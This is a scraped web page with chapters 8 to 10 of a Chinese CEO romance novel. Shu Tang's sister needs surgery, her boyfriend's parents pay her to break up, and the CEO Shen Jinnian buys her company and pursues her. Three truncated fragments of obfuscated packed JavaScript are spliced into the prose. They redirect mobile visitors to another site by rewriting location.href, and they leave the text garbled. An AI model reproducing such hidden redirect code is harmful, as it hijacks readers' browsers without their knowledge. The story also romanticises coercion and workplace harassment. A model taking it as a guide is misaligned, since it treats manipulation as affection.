35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046449|194739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 整理完情绪之后,舒棠走出楼梯间,病房门口站着李桂兰,此刻看到自己打完电话,递过来的眼神带着期盼。 她心脏一沉,走过去,迎上母亲的目光,缓缓摇头:“他说要和父母商量一下。” 李桂兰闻言,眼里的光瞬间黯淡,整个人晃了晃。 良久后,李桂兰搓了一把脸,声音沙哑:“好,我再想想其他办法。” 舒棠心里酸涩。 还能有什么办法。 她不知道还能有什么办法。 - 舒棠给沈女士请了这周的假,同时又向公司说明情况,请了三天假,郝恬问她怎么去哪了,家里发生了什么事,她都如实说了。 郝恬得知后,二话没说,直接给她转了五万块钱。 【舒棠,我这里还有点,妹妹做手术要紧,你先拿去用。】 看着银行卡到账信息,舒棠忍不住哭出声。 她和郝恬认识的时间满打满算也就三个多月,结果郝恬得知自己家出变故,二话不说就转账,着实让她感激。 她最后给郝恬打了欠条,表明自己一定会还。 方好好昨晚也给她拨了通电话,问她发生了什么,舒棠知道她刚上班,是个月光族,根本没积蓄,所以没给她讲实情。 结果方好好从领导王总那里得知这一切后,直接一通电话打进来:“舒棠!你有没有把我当朋友!发生这么大的事都不和我讲,你太伤人心了,我往你支付宝里转了三万块,你先用。” 当时,舒棠声音就带了哭腔:“三万?” “嗯!你什么语气,瞧不起我吗?觉得我是月光族?” 方好好语气很差,但做的事都是实打实的,“我大学的时候有小金库,所以就算是月光,我也能养活自己,你就别操心我了,先给妹妹安排上手术。” “好好……” 舒棠感动的泪一直掉,“谢谢你。” “真想感谢我的话,妹妹就早点好起来,以后带她来北京,我带她玩。” 方好好豪迈地说。 舒棠泣不成声:“好。” 直到此刻,舒棠才终于领会到那句锦上添花易,雪中送炭难。 周一下午,舒棠去给舒雪交了一部分住院费用,又算了算手上的钱,怎么算都是还差十万块钱。 医生今天又来催了。 她叹了口气,拿着住院卡准备回病房。 却突然接到了江决的电话,他的语气比较正式,说父母知道了情况,很担心,想亲自来青州看看,顺便和舒棠见一面。 舒棠心里沉了下,想了想,觉得这或许更能说明江决父母重视这件事,重视两人之间的关系,便答应下来,地点约在医院附近一家安静的茶室。 她先回了趟家简单的收拾了一番,才前往约好的地点。 江决的父母比她想象中更加年轻得体,气质和自己父母完全不同。 她有些紧张。 江决坐在一旁,有些沉默,不太敢看舒棠的眼睛。 寒暄过后,问了几句舒雪的病情,江母便示意江决:“小决,你先去楼下买点水果,一会儿带上去看看舒棠妹妹。” 江决迟疑了一下,看向舒棠,舒棠点点头,他才离开。 江决走后,包厢门关上,气氛陡然一变。 江母脸上的客气淡了下去,端起茶杯,没有喝,只是看着舒棠开门见山:“舒棠,你妹妹的情况,我们很同情,二十万,我们现在就可以给你。” 舒棠一怔。 敏锐地发现她说的是给,而不是借。 “但是,这钱,有个条件。” 舒棠呼吸一滞,还没来得及开口,江父便接过话头,声音平稳地说:“你和江决,必须分手。” 舒棠猛地抬眼,脸色瞬间变白。 “为什么?” 她脱口而出。 “为什么?” 江母放下茶杯:“舒棠,你是个好姑娘,但恋爱和结婚是两回事,江决以后是在京城发展的,他的事业和生活圈子都在京城,他以后会找一个京城姑娘,家境相当,对他事业有帮助的。” “你老家在青州,父母都是普通人,现在又多了个生重病的妹妹,你和他不合适,门不当户不对。” 江母没有像电视剧上棒打鸳鸯的恶人,而是平淡地道出两人的阶层差距。 舒棠呼出一口气,握紧手,“可是,我和江决是真心相爱的,我承认我家条件比不上您,但我会努力,不会成为他的拖累——” 江母毫不客气地打断:“拖累不拖累,不是你说了算。” 一直沉默的江父也开口了,语气带了几分尖锐:“爱情能当饭吃吗?你们年轻人总把感情想得太简单,以后过日子,柴米油盐哪一样不需要经济基础,你妹妹这个病就是个无底洞,这次是二十万,那下次呢,我不想江决辛辛苦苦赚的钱都填进你们家。我们做父母的,不能看着他往火坑里跳!” “火坑?” 舒棠被这个词刺到了,血液冲上头顶,“我妹妹生病是意外,不是我们家的错,为什么您要把话说得这样难听?” “难听吗?” 江母的声音也拔高了,姿态带着一股对农村的偏见:“你看看你现在,工作是江决帮忙找的,你除了会拖累江决,还能给他带来什么?别说以后帮衬,你们家不反过来吸他的血就不错了,我们江决条件这么好,凭什么要跟你耗着?” 江父点头,接话:“这二十万,就当买断你们的感情,从此两清,对谁都好!” 包厢的门猛地被推开。 “爸!妈!你们在说什么?” 江决站在门口,脸色铁青,手里还拎着水果礼盒。 他快步走进来,挡在舒棠面前,对父母说:“你们太过分了,怎么能这么说舒棠,她家里只是遇到困难,但我们——” 话还未讲完,就被江父厉声打断:“我们什么我们!江决,你看清楚现实,我们是为了你好,她家就是个累赘,你今天能借她二十万,明天她就敢管你要五十万,你的前程不要了?你的日子不过了?” “爸!” 江决猛地回头看了眼脸色苍白的舒棠,眼中闪过一丝复杂的情绪。 舒棠愣了下,觉得自己是不是忽视了某个细节。 最近江决的冷淡,偶尔的回避,以及放她鸽子。 都串联起来,指向一个她不愿深想的可能。 “钱,不用你们出。” 江决闭了闭眼,转过身,面对父母,声音忽然平静下来,像是下定决心般:“我有存款,我自己借给舒棠。” 江母惊愕:“你哪来那么多钱——” “我有!” 江决打断她,从兜里掏出钱包,抽出一张银行卡,放在桌上,推到舒棠面前:“这里有二十万,密码是你生日,舒棠,你先拿去用。” 舒棠愣住,抬头看向江决,却发现他躲闪自己的目光。 江父气得脸色发白:“江决!你为了她,连我和你妈的话都不听了吗?你是不是被鬼迷心窍了!” “我不是为了谁!” 江决抬高音量,“这是我的决定,你们别再说了!” “好好好,你现在翅膀硬了!” 江母指着江决,手指颤抖,“你今天要是把这钱给了,以后就别人我们!” 包厢内的空气剑拔弩张。 江决绷着脸,胸口起伏。 舒棠拿起卡,冰凉的塑料边缘硌着指尖。 她垂眸,心中思绪万千。 这二十万,让她看清了一切。 她不想再待下去,轻声说:“谢谢你,江决,钱,我一定还给你,写欠条,算利息,一分都不会少。” 说完,她起身拉开门走出去。 身后传来江母压抑的哭声和江父暴怒的训斥。 不过她都不在意了。 妹妹的医药费暂时有了着落。 但她的世界里,却好像有什么东西碎掉了。 …… 她拖着身子回到医院,走出电梯后,看着手里的银行卡,内心复杂。 深吸几口气,脸上挤出笑容,才朝着舒雪的病房走。 调整好心情,她推开门。 病房里的氛围却不再是阴云密布,里面传来一阵轻松的对话声。 她愣了下,走进去。 发现靠窗的床边,除了父母,还多了一个绝不该出现在这里的身影。 男人穿着一身剪裁得体的西装,气质卓然,与这件普通病房格格不入。 舒棠站在门口,如同被施了定身咒,血液凝固。 几乎是一眼,她就认出这个男人。 是沈津年。 沈津年来了。 9. chapter 9 听到开门声,几人同时看了过来。 李桂兰眼睛一亮,“棠棠回来了!” 她快步走过来,一把拉住有些发懵的舒棠,脸上带着喜悦:“你这孩子,出了这么大的事,怎么也不跟公司领导好好说?还让人家沈总亲自跑一趟!” 舒棠听到这,懵了。 什么领导? 沈总? 她茫然地看向沈津年。 男人正好整以暇地站起身,目光落在她脸上。 眼神深邃平静,洞悉一切,在长辈面前,又掩去了惯有的侵略性。 “沈总?” 她干涩地开口,大脑一片空白。 “是啊!” 李桂兰没察觉到女儿的异样,兀自说着:“沈总助理都讲清楚了,他说你突然请了好几天假期,公司那边有重要项目跟进,联系不上你。” “查了一下才得知是小雪生病了,沈总也没怪你,还特意从京城赶过来,说你们公司有一个什么青少年救助基金,能帮上忙,后续所有治疗费用,基金会全包了。” “你出去后不久,专家就来给小雪会诊了,都是沈总安排的。” 李桂兰越说越激动,拉着舒棠的手都在抖:“棠棠,你得好好谢谢沈总,他真是我们家的贵人!” 不仅是她,舒建国也连连点头,看向沈津年的眼神满是感激。 恰好此刻,陈特助带着一众医生走进病房,众人纷纷起身。 医生的目光越过李桂兰,看向沈津年,态度恭敬:“手术安排在明天上午,可以吗?沈总。” 沈总把决定权递交给李桂兰,他温和地问:“您觉得呢?伯母。” 李桂兰一个劲儿地点头:“好,当然可以了,谢谢医生。” 医生抹汗,直说不敢当。 笑话,他如果知道这家人和沈氏集团有关系的话,早就向领导申报慈善基金了。 今早,院长忽然给他打电话,他才明白一切。 “那手术时间就定在明早,届时我会主刀,待会儿我让护士把术前注意事项给您送过来。” 李桂兰也能感觉到医生态度的变化,她点头说好。 待医生走后,病房内恢复安静,陈特助站在一旁,看着护士递给他的术前注意事项。 舒棠蹙眉,也察觉到刚刚主治医生的讨好,以及李桂兰感激不尽的模样。 而沈津年依旧坦然自若地坐在那儿。 她忽然觉得一股寒意顺着脊椎爬上来。 什么时候沈津年成了她的领导? 成了雪中送炭的贵人? 这个男人的可怕之处,她今日领教了。 他先是用一笔捐赠,轻易抹去江家那二十万带来的尴尬。 又在无形中抬高了他在自己家人心中的地位,李桂兰和舒建国早已将他视为恩人。 他甚至不需要多说什么,安排底下人去做就好。 李桂兰不知道为什么舒棠怎么还不感谢领导,便急忙催促着:“棠棠,你怎么也不和沈总打个招呼?” 舒棠不吭声,站在原地。 沈津年见状,微笑地说:“伯母客气了,舒棠在公司一直很努力,是重点培养对象。员工家里有困难,公司理应关心帮助,这都是应该做的。 应该做的? 舒棠嘴角抽动,口袋里的手碰到那张银行卡。 江决的二十万带着施舍和羞愧。 而沈津年的帮助无声无息,轻描淡写摆平一切。 可也将她置于一个更无法挣脱的地步,强迫她欠下天大的人情。 哪怕是以「公司」的名义。 可他根本不是她的领导。 自己也不是他的员工。 一切都是他编织的谎言。 他这根本就不是来帮忙的。 而是来宣告所有权的。 他编织了一张更细密,更令人无法抗拒的网。 “舒棠。” 沈津年看向她,眼神温和,带着领导对员工的勉励:“家里的事不用担心,专心照顾妹妹,工作上的事情,等你回来再说。” 男人的话无懈可击,甚至可以说是体贴无比。 舒棠对上他的目光,在他看似平静的眼眸下,清晰地看到了只有她能懂的势在必得的目光。 她明白。 他这是在告诉她,他知道了江决的那二十万,也轻而易举的解决了它。 在他面前,她的挣扎,她的难堪,亦或是她那点可怜的自尊心,都不值一提。 舒棠呼出一口气,声音干涩地挤出几个字:“谢谢……沈总。” 沈津年几不可察地弯唇,转瞬即逝的笑容,却让她心头发冷。 “不客气。” 男人从容颔首,又看向李桂兰和舒建国:“我就不叨扰了,让舒雪好好休息,有事随时联系我。” “好好好,沈总,您慢走!” 李桂兰和舒建国把沈津年送到病房门口,态度无比好。 沈津年在门口停顿一下,回身,目光再次掠过僵立在原地的舒棠。 意味深长。 随后,他转身离开,逐渐消失在走廊尽头。 病房里重新安静下来,只剩下仪器规律的滴滴声。 李桂兰长舒一口气,压抑了许久的心终于放松。 “谢天谢地,遇到好人了,棠棠,你这领导人真好!” 舒雪也小声说:“姐姐,你们沈总长的真好看。” 舒棠没吭声,站在窗边,看着楼下停车场。 那辆熟悉的黑色迈巴赫无声地滑入视线,又驶离医院。 她不知道沈津年究竟想做什么,但有一种清晰的预感。 从此刻起,她连同她的家庭,都被拖入了一场由他主导的漩涡。 想到这。 她再次惊叹这个男人的可怕。 / 黑色迈巴赫平稳地驶入车流,车内弥漫着一种沉静的氛围。 陈特助坐在副驾,透过后视镜,小心瞥了眼后座的男人。 沈津年靠在后座椅背上,闭目养神。 男人侧脸线条在流动的光影里清晰冷硬,方才在病房里那副温和的模样全然褪去。 眉宇间带着疏淡。 车子驶过一个路口,陈特助手机响了,低头看,发现是基金会那边的确认信息。 一切已处理妥当,款项即时到账,医院对接完毕。 他犹豫了一下,还是低声开口,打破车内的寂静:“沈总,青州人民医院已经安排到位,舒小姐后续所有治疗费用,院方和基金会都会严格保密捐赠来源。” “嗯。” 沈津年淡淡应声,并未睁眼。 仿佛这不过是处理了一桩微不足道的小事。 陈特助跟了沈津年许多年,深知他的行事风格。 杀伐果断,利益为先,从不做无谓的施舍,更惶恐这种看似纯粹慈善毫无回报的举动。 他想起几天前,当自己将调查到关于舒棠向江决借钱二十万,却被羞辱的事情汇报给沈津年后,沈津年脸上闪过轻蔑的冷意。 当时,沈津年听完,只说了两个字。 “难看。” 不知是说江家父母吃相难看,还是说江决那种既要维护可怜自尊,又无法摆脱家庭掣肘,最终只能拿出钱来填补心虚的姿态难看。 或许都有。 随后,沈津年便下达命令。 不是简单的汇款,他知道舒棠会拒绝。 所以动用了一个从未启用过的,挂靠在集团名下,主要用于处理某些特殊公关或人情事务的非公开慈善基金。 他的目的很简单。 金额要足够彻底解决舒棠的问题,方式干净匿名,不留任何可能让舒棠和江决产生多余恩情牵连的余地。 在他看来,江决配不上舒棠。 分手是必然的。 但若是有金钱往来,那分手势必会受到阻碍。 他要舒棠毫无牵挂,堂堂正正地离开江决。 … 陈特助终是没忍住,试探性地问了一句:“沈总,您之前说过,纯粹的慈善不符合您的投资逻辑。” 沈津年闻言,低笑一声。 笑声很轻,几乎听不见,却让陈特助感到一丝莫名的寒意。 他抬眸,看向陈特助,眼神平静,又带着一种穿透人心的锐利。 他志在必得。 “陈默。” 沈津年叫了声陈特助的名字,声音不疾不徐,“你觉得,什么样才算回报?” 陈特助一怔。 而沈津年没有等他回答,自顾自地说了下去。 “二十万,加上一场难堪的分手谈判,能换来什么?” 沈津年微微摇头,“最多是一点夹杂着施舍和愧疚,变了质的情分。” “这样的投资,回报太低,后患却不少。” “而我。” 他顿了顿,身体微微前倾,一字一句道:“我要的回报,不是那点可怜的钱债,也不是一个随时被反悔的男朋友位置。” 车窗外,青州的街景不断后退。 沈津年的声音越拉越低:“我要的是彻底解决她的燃眉之急,让她无后顾之忧,抹去另一个男人留下的不体面的痕迹。以一个恩人的正当身份,在她最脆弱无措的时候,介入她的生活。” “让她和她的家人,都欠我一份无法用金钱衡量,也无法轻易挣脱的情分。” 男人重新闭上双眼,仿佛倦怠,声音越来越低。 “陈默,攻略一个人最好的方法就是,送上真心。” 陈特助听完,心头凛然。 随后态度更加恭敬:“明白了,沈总。” 沈津年没再开口,只是懒洋洋地挥挥手。 - 两天后,舒雪的手术很顺利。 因为基金的存在,术后的恢复期也有专业人士陪伴。 舒棠彻底松了口气,同时也把郝恬和方好好转给她的钱都退了回去,说明了情况。 家里的氛围也不再是那样死寂沉重,父母的精神头也回来了。 安顿好家里,她买了当天下午回京城的高铁票,将江决的那二十万的银行卡用寄快递的形式寄给他。 现在这种情况下,她不知道要如何面对江决。 估摸着江决也是如此,因为那天过后,他没发一条消息过来。 回北京之后,她约了郝恬和方好好吃饭,介绍两人认识。 是真的非常感谢她们,如果没有她们,她不知道要如何度过这次难关。 …… 又是一个工作日。 这天上午,她刚结束一个甬长的线上评审会,揉了揉酸胀的太阳穴。 方好好忽然神秘兮兮地凑过来,眼睛发亮。 “听说了吗?棠棠,一件超级大八卦。” 舒棠心不在焉地整理文档:“什么八卦,你追的爱豆塌房了?” 方好好哎了声,“什么啊,不是那个。” 舒棠转头看向她:“那是什么?” 方好好压低声音,难掩兴奋:“大老板换人了,咱们这小破公司被收购了。” 舒棠愣了下,率先想起自己未还完的助学贷,问:“咱们会有影响吗?” “不会吧。” 方好好眨眨眼,“重点不是这个。” 舒棠:? 公司都被收购了,难道最该担心的不是裁员问题吗? 有时候舒棠怀疑方好好脑子里装的东西都是什么。 舒棠:“那重点是什么?” 方好好激动地说:“重点是收购方来头特别大!沈氏集团你知道吗?就是沈氏集团收购了咱们公司。” 沈氏集团。 四个字像冰锥,猝不及防地刺入舒棠的耳膜。 她整理文档的动作一顿,指尖下的纸张发出轻微的脆响。 声音都在抖:“什么时候的事?” “上周啊!” 方好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046450|194739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没注意到舒棠的异样,自顾自地说:“今天新老板就会过来正式接管,开全员大会!” “而且最重要的是,来咱们这坐镇的不是别人,正是沈氏集团的现任掌权人,沈津年!” 啪嗒一声,手中的笔掉落在地。 是舒棠没拿稳。 方好好只当她是开心傻了,弯身替她捡起笔,笑嘻嘻地说:“怎么了,你也知道沈津年?以后能每天看到他,是不是开心坏了?” 每天、都能、看到他吗? 方好好不知道的是—— 舒棠不是开心傻了。 是被吓傻了。 她眼神有些飘忽不定:“真的假的?沈津年……那样的人物,会来管我们这种小公司?” 方好好啧了声,信誓旦旦地说:“千真万确,内部邮件都发了,只是没还正式公布接管人。你忘了我闺蜜了?她跳槽去总部做HR了,偷偷告诉我的。” 说完之后,瞥了眼舒棠,又皱眉问:“你怎么了?脸色这么白,不舒服吗?” 舒棠勉强扯了扯嘴角:“没事。” 她垂眼,遮住眸底的惊涛骇浪。 当天下午,全员大会在公司最大的会议室举行,气氛肃穆,却暗藏骚动。 之前给舒棠穿过小鞋的同事唐艺敏也在,她前不久完成的项目不错,借此机会升了职,就坐在主位旁侧的位置上,趾高气扬地看着她。 “真像个苍蝇一样。” 方好好瞪了回去,苍蝇指得是唐艺敏:“这货现在老神气了,真烦人。” 舒棠心里装着事,也没在意这些细节。 很快,会议室的门被打开,各级领导依次进入会议室。 直到最后,舒棠坐在角落不起眼的位置,看到那个身影在几位高管的簇拥下,从容进入会议室后,心脏漏掉一拍。 沈津年穿着剪裁合体的深色西装,坐在主位上,目光平静地扫过台下的人群。 此刻的他身上多了几分身为领导的威严,男人沉稳的声音传遍会议室的每个角落,他言简意赅地阐述了公司未来的规划。 台下不少人听完后热血沸腾,看向他的目光里带着崇拜。 舒棠蹙眉,再次见识到他的手段。 仅凭几句话就能让老员工倒戈,为他卖力奋斗,当牛做马。 会议临近尾声,沈津年话锋一转,语气平稳,带着一分不容置疑的冷硬:“在整合初期,为了保障团队效率和公司新文化的贯彻,我会进行一些必要的人员优化。” 说完,他目光若有若无地扫过某个方向。 舒棠顺着他的视线,看到了坐在前排,平时多次给她使绊子,喜欢抢功劳的唐艺敏。 现在唐艺敏已经升为主管。 方好好也察觉到了,她眨眨眼,低声喃喃:“不会吧。” 下一秒,沈津年挥挥手,示意身旁的陈特助下达命令。 “原教研二部主管唐艺敏,因在职期间多次利用职权进行不当竞争,打压同事,虚报业绩,经核查属实,予以立即辞退处理。” 指令下达后,全场一片哗然。 唐艺敏皱眉,猛地站起身,想说什么,却被两旁的安保示意,被迫请离了会议室。 整个过程干净利落,没有给她任何申辩的机会。 舒棠愕然。 唐艺敏的劣迹她深有体会,因为之前就被背锅担责,但公司以往多是和稀泥。 没想到这次居然直接辞退。 散会后,人群议论纷纷。 方好好拉住舒棠,长舒一口气:“真解恨,沈总太帅了,雷厉风行,唐艺敏早该滚蛋了。” 舒棠不吭声。 “但公司里像唐艺敏这样的人多了,为什么只辞退她啊?” 方好好纳闷道:“杀鸡儆猴吗?还是新官上任三把火?” 舒棠垂眸,觉得不仅仅是杀鸡儆猴。 她觉得,沈津年是在借此告诉她,他能轻易抹去自己工作环境中的困扰。 因为现在这家公司是沈津年说了算,他拥有绝对的权利。 回到工位上,舒棠盯着电脑屏幕上密密麻麻的英文标注,却一个字也看不进去。 倏地,内线电话突兀地响起。 她接起。 “舒棠是吗?” 声音比较陌生,是一个男人:“我是沈总的行政助理,沈总想请你现在到他办公室来一趟,有些工作上的事情需要和你当面沟通。” 声音不大,但在此刻格外安静的办公区里,足以让周围的同事都隐约听见。 “沈总办公室?” 方好好倒吸一口凉气,担忧地问:“棠棠,为什么单独叫你啊?” 这话一出,周围几个同事交换一下微妙的眼神。 方才沈津年当着所有员工辞退唐艺敏的场景还历历在目,现在会议刚结束,就又单独召见一个基层员工,这绝不寻常。 所有人都觉得舒棠这次完蛋了。 就连方好好也这样觉得。 舒棠放下电话,对方好好轻轻摇头,让她不要担心自己,随后起身朝着总裁办公室走去。 她敲了敲门,里面传来沈津年低沉的声音:“进。” 舒棠呼出一口气,推开门走进去,没有关门,就站在门口。 “沈总,您找我?” 办公室宽敞明亮,视野不错。 沈津年站在落地窗前,背对着门口,俯瞰京城的街景,听到声音,缓缓转身。 他看到舒棠后,勾唇,只觉她傻得可爱。 以为不关门,就可以让他有所忌惮了? “关门。” 沈津年低声道:“过来。” 舒棠握紧手,梗着脖子说:“您有事直接吩咐我就好。” 沈津年轻点头,“可以,那让其他员工听一听我和你之间的私事。” 舒棠瞳孔一缩,害怕他真的不管不顾,便转身关上办公室的门。 沈津年勾唇,满意地朝她勾勾手指:“过来。” 10. chapter 10 办公室内只剩下他们两人,空气仿佛都凝滞了,只有中央空调发出极其微弱的送风声。 窗外是繁华却遥远的城市天际线。 舒棠不情愿地朝他走去,最终站在离他两米外的位置上。 沈津年盯着她化了淡妆的小脸,勾唇,迈出脚步,拉近两人之间的距离。 男人的靠近带着无形的压力,他身上清冽的雪松气息在近距离下变得清晰,侵略性满满。 舒棠下意识后退,脚跟却抵住沙发底座,退无可退。 “沈总。” 她稳住呼吸,努力让声音听起来公事公办,“如果是工作上的事,我们可以坐下来谈。” 沈津年低笑,笑意未达眼底,“舒棠,你觉得我收购这家公司,大张旗鼓地出现在这里,第一时间把你叫进来,只是为了和你讨论那些英语标注的逗号该放在哪里的工作?” 他的语气带着一分嘲弄,目光沉甸甸地落在她脸上。 不知为何,舒棠有些抵触,下意识开口:“沈总财大气粗,自然想收购哪家公司就收购哪家公司,和我有什么关系?” 她脾气上来了,也没多想此刻两人的关系是何种模样。 若是外面办公区的同事听到她这样对大老板讲话,一定会惊掉下巴。 沈津年却并未生气,反而笑了,这次的笑意直达眼底。 “生气了?埋怨我自作主张,收购你的公司,出现在你面前?” 舒棠眼睫轻颤。 其实刚刚那话说出口之后,她也在后悔,后悔自己口无遮拦,万一因此惹怒沈津年该怎么办。 但万万没想到的是,沈津年居然没生气,而且一副心情不错的样子。 她吞咽口水,垂眸说:“不敢。” 沈津年勾唇,“想知道我为什么收购这家公司吗?” 舒棠抬眸,听到这话后,莫名心跳又快又重,几乎要跳出胸膛般:“为什么?” 沈津年没有直接回答。 他抬起手,动作很慢,仿佛在给她反应的时间,又像是刻意延长眼下的瞬间。 男人修长的手指并未触碰到她,只是缓缓掠过她耳侧,将她一缕不知何时滑落颊边的碎发,轻轻别到了耳后。 指尖似有若无地擦过她敏/感的耳廓皮肤,激起一阵细微的颤栗。 “为什么?” 沈津年重复她的话,声音压得更低,带着一种近乎耳语的暧昧:“我以为,在你老家的医院里,我替你解决掉那个小麻烦后,你就应该明白了。” 他的目光锁住她的眼睛,不容她闪躲。 “舒棠,我不喜欢浪费时间,也不喜欢迂回。” “我钟意你。” 他忽然说了句粤语,比讲普通话更要磁性好听。 直白,赤/裸,毫无掩饰。 舒棠的脸颊瞬间失去血色,反应过来之后又迅速涌上羞愤的潮红,她猛地偏开头,躲开他停留在耳畔的手。 她的声音带着压抑的颤抖:“沈总,请您自重。” “这里是公司,我是您的员工,我们之间除了工作关系,不该有其他任何关系,我很感激您之前对我家庭的帮助,但这不代表——” “不代表什么?” 沈津年打断她,眼神沉了沉。 他再次逼近,两人之间的距离近得她能感受到他胸膛传来的热意。 男人微微俯身,视线与她齐平,目光带着钩子,钩在她身上。 “舒棠。” 他叫她的名字,字字清晰,灼热的气息拂过她的唇角:“别自欺欺人了,从那次饭局开始,你上错车那天之后,我又恰好得知你需要一份兼职后,这条线,就由不得你了。” 他的话,将她这段时间所有的不安和巧合都连接正早有预谋的网。 舒棠顿时感到一阵彻骨的寒意,混合着被彻底掌控的愤怒。 她呼出一口气,“那又怎么样?沈津年,你有钱有势,可以轻易安排一切,可以收购我的公司,开除碍眼的人,像施舍一样解决别人的困难,但这不代表你可以为所欲为,不代表你可以强迫别人的感情!” “强迫?” 沈津年怒气反笑,“我强迫你?” “是!” 她胸口剧烈起伏:“你就是在强迫我,我欠你的钱和情分,我会还给你,用我能想到的一切方式去还,但不包括感情,我说过了,我有男朋友——” 话还未讲完,便被打断。 “江决?” 沈津年念出这个名字,语气里的轻蔑毫不掩饰:“那个拿出二十万都勉为其难的垃圾?” 在他眼中,江决这种没本事的男人就是一个上不得台面的垃圾。 舒棠脸色发白,下意识反驳,“你凭什么这样说他!” 沈津年冷笑:“就凭他要靠分手来讨价还价。” 舒棠蹙眉,为他辩驳:“那是他父母——” “有区别吗?一丘之貉而已。” 沈津年再次打断。 他的话像一把淬毒的匕首,精准地刺入她心脏最柔软的地方,叫她无法辩驳。 因为事实本就如此。 沈津年看着她瞬间溃败的防线,眼神暗了暗,没有继续追击,反而伸手,用指腹极其缓慢地擦过她的下唇。 “看,” 男人声音低哑,“你连自己都说服不了,何必用他当挡箭牌。” 舒棠像是被烫到一样,猛地抬手,用力挥掉他的手。 “别碰我。” 她声音带着哽咽,“随你怎么想,但我不接受你的这种方式,感情是我自己的事,与你无关。” 她后退一步,拉开两人的距离,眼里的决绝很明显。 “如果你想开除我,我立刻就走,欠你的钱,我会想办法还清,一分不少。” 她继续说:“但如果你想用工作逼迫我就范,那不可能。” 沈津年被她推开,倒也没进一步逼迫,只是站在原地安静地看着她。 她所有的情绪,包括愤怒,羞耻,倔强,他都尽收眼底。 办公室陷入短暂的沉寂,只有呼吸声交织在空气中。 良久后,沈津年忽然低声笑了,笑声意味不明。 他退后一步,整理了一下被她推搡时微微褶皱的衬衫袖口,姿态恢复一贯的从容,仿佛刚才那番激烈的对峙从未发生。 “可以。” 他淡淡开口,“有脾气,有原则,舒棠,你比我想象中更有意思。” 沈津年走回办公桌后,坐下,目光重新落在她身上,已经恢复了公事公办的冷峻。 “出去工作吧,你负责的第三季度标注质量报告,下班前发到我邮箱。” 话题转换得如此快,仿佛方才的一切都是幻觉。 舒棠愣在原地,有些反应不过来。 “还有。” 沈津年拿起一份文件,头也不抬地说:“明天下午我会安排你外出,陪我见合作方。” 舒棠蹙眉,“可是我工作还没做完。” “这是命令,我没有征求你的同意。” 沈津年言简意赅,“出去。” 舒棠攥紧拳头,指甲深深陷进掌心,没有再说一句话,转身拉开门,走出去。 门外,几道还没来得及完全收回去的窥探目光与她撞个正着,又慌张躲开。 她挺直脊背,目不斜视地走回自己工位上,脸色苍白,嘴唇紧抿。 方好好欲言又止地看着她,最终没敢多问。 舒棠坐回到椅子上,打开电脑,屏幕上密密麻麻的英文字符跳动起来,她盯着屏幕,眼神有些空茫。 “棠棠,你还好吗?” 方好好凑过来,小声问。 舒棠回神,故作轻松地说:“我没事,别担心我了。” 方好好一眼看穿她在逞强,叹了口气,“你觉不觉得最近你挺水逆的,坏事挺多的。” 舒棠垂眸,不吭声。 方好好看了她一眼,随后说:“不然我们周末去寺庙上柱香吧,赶赶霉运。” “可是周末我有兼职。” 方好好震惊道:“这么拼吗?工作狂。” 舒棠心情慢慢被方好好带得不再那么压抑,“对啊,还要还助学贷呢。” “行吧。” 方好好不死心地问:“那挤出个时间陪我去寺庙呗?求求你了,好棠棠。” 舒棠笑了:“好。” / 下班前,舒棠接到一通电话,是快递打来的,说是之前寄出的银行卡被退了回来。 她蹙眉,犹豫许久,点开和江决的对话框。 聊天记录还停留在几天前,他询问她是否安全到家,她简短回复后,便再无下文。 最后,下定决心,打字:【江决,你今天有时间吗?我想把银行卡当面还给你,约在我公司楼下的咖啡馆,或者我去京大找你,可以吗?】 消息发出,她盯着电脑屏幕,微信登录在电脑上。 很快,江决回复了:【怎么突然要还?小雪做了手术了吗?】 话里带着关心,但那天在茶室发生的一切都让她无法忘却。 她闭了闭眼,回复:【嗯,我爸妈和几个亲戚借到钱了,暂时够了,你的钱先还给你,根本也是应急。】 思虑良久,最后选择隐瞒。 她不知道该如何对江决说,在她最艰难的时刻,是另外一个男人帮她彻底解决了问题。 如果实话实说,那她和江决本就变淡的感情会更加岌岌可危。 江决那边停顿一会儿:【好吧,那五点见。】 【好。】 下午的时间过得极其缓慢,舒棠强迫自己专心工作,但今天在沈津年办公室发生的一切还是影响到了她。 好不容易捱到下班时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046451|194739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她迅速关掉电脑,拿起早就收拾好的包和装着银行卡的信封起身。 身边的方好好被吓一跳:“怎么今天这么着急下班?” 往日舒棠是最不紧不慢下班的那个人。 舒棠没多说,“今天有事。” “好吧。” 她几乎是逃也似的离开了工位,再也不想待在有沈津年在的公司。 电梯下行,数字跳动。 舒棠快步走出写字楼,一阵凉风吹过,她拢了拢大衣。 咖啡店就在马路对面,招牌亮着暖黄色的光。 